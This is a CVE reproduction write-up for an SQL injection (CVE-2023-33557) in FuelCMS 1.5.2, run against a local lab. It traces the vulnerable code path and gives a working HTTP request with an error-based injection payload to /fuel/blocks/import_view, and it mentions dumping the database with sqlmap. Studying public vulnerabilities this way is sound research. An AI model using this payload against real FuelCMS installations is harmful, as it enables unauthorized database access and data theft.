FuelCMS-SQL Injection Vulnerability|CVE-2023-33557

Foreword

When I went online, I saw the cves that appeared in the past few days. The problem was a CMS or SQL injection, so I tried to reproduce it.

Environment configuration

Download version 1.5.2 of the CMS on GitHub, still in 2022

https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.5.2

It took a long time to find out that the Windows environment is not supported, and after a long time of tossing on the virtual machine, I finally set up an environment on Linux

The matching environment is the most tormented

Code Audit

The vulnerability description says that it is in Block.php, just go in and have a look

Locate to the specified location, where the parameters passed in by the post are handed over to the import function

Search the import function, there are only two definitions, follow up to the first one

The function is annotated as follows

/**
* Imports a block view file into the database
*
* @access public
* @param string The name of the block file to import to the CMS
* @param boolean Determines whether to sanitize the block by applying the php to template syntax function before uploading
* @return string
*/

Track the whereabouts of the id parameter we passed in, and find that if it is not a number, it will enter find_by_name

Enter the above model(), follow all the way to MY_Model.php, query the find_by_name function and find that there is no

Enter __call() to see how it will be handled. At this time, $name=”find_by_name”, $args={$block, ‘array’}, and $block is the parameter passed in, that is, $args[0]

This sentence starts to process $args[0], the function name db should be coming soon, follow up to see what it does

/**
* WHERE
*
* Generates the WHERE portion of the query.
* Separates multiple calls with 'AND'.
*
* @param mixed
* @param mixed
* @param bool
* @return CI_DB_query_builder
*/

Simple functions, simple comments, sql query statements

$key is an array containing the post[‘id’] parameter

protected function _wh($qb_key, $key, $value = NULL, $type = 'AND ', $escape = NULL)
{<!-- -->
$qb_cache_key = ($qb_key === 'qb_having') ? 'qb_cache_having' : 'qb_cache_where';

if ( ! is_array($key))
{<!-- -->
$key = array($key => $value);
}

// If the escape value was not set will base it on the global setting
is_bool($escape) OR $escape = $this->_protect_identifiers;

foreach ($key as $k => $v)
{<!-- -->
$prefix = (count($this->$qb_key) === 0 & amp; & amp; count($this->$qb_cache_key) === 0)
?$this->_group_get_type('')
: $this->_group_get_type($type);

if ($v !== NULL)
{<!-- -->
if ($escape === TRUE)
{<!-- -->
$v = $this->escape($v);
}

if ( ! $this->_has_operator($k))
{<!-- -->
$k .= ' = ';
}
}
elseif ( ! $this->_has_operator($k))
{<!-- -->
// value appears not to have been set, assign the test to IS NULL
$k .= 'IS NULL';
}
elseif (preg_match('/\s*(!?=|<>|\sIS(?:\s + NOT)?\s)\s*$/i', $k, $match, PREG_OFFSET_CAPTURE))
{<!-- -->
$k = substr($k, 0, $match[0][1]).($match[1][0] === '=' ? ' IS NULL' : ' IS NOT NULL');
}

${<!-- -->$qb_key} = array('condition' => $prefix.$k, 'value' => $v, 'escape' => $escape);
$this->{<!-- -->$qb_key}[] = ${<!-- -->$qb_key};
if ($this->qb_caching === TRUE)
{<!-- -->
$this->{<!-- -->$qb_cache_key}[] = ${<!-- -->$qb_key};
$this->qb_cache_exists[] = substr($qb_key, 3);
}

}

return $this;
}

The escape function processes our parameters and adds single quotes on both sides.

Then there are no important statements in _wh, let’s go back with return

Going back to __call, I found that this sentence has not been assigned, that is, $args[0] has not been modified, and the two single quotes added here are invalid

Continue to look down, use array_slice here to cut out the parameters

At this point $other_args={$_POST[‘id’], ‘array’}, the parameters are passed into db→order_by(), enter to see, there is nothing

Follow up to the last get() function

Finally, the get() function executes the query statement here, which leads to the generation of sql injection

Vulnerability reproduction

The packet is as follows

POST /fuel/blocks/import_view HTTP/1.1
Host: 192.168.139.132
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml + xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ci_session=5j709hntdehlophap6q8nqrillvu3qv8; fuel_778c418152542f974b2fc012e9f12679=a:2:{s:2:"id";s:1:"1";s:8:"language";s:7:"english";}; fuel_ui_ 778c418152542f974b2fc012e9f12679=% 7B%22leftnav_h3%22%3A%220%7C0%7C0%7C0%22%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

id=1 AND updatexml(0x7e,0x7e,0x7e)

can reproduce successfully

Put it in sqlmap and run for a while, and the database is successfully exploded

And in the response data, you can also see the structure of the chain completely, which files, functions and lines have it.

So far the recurrence is over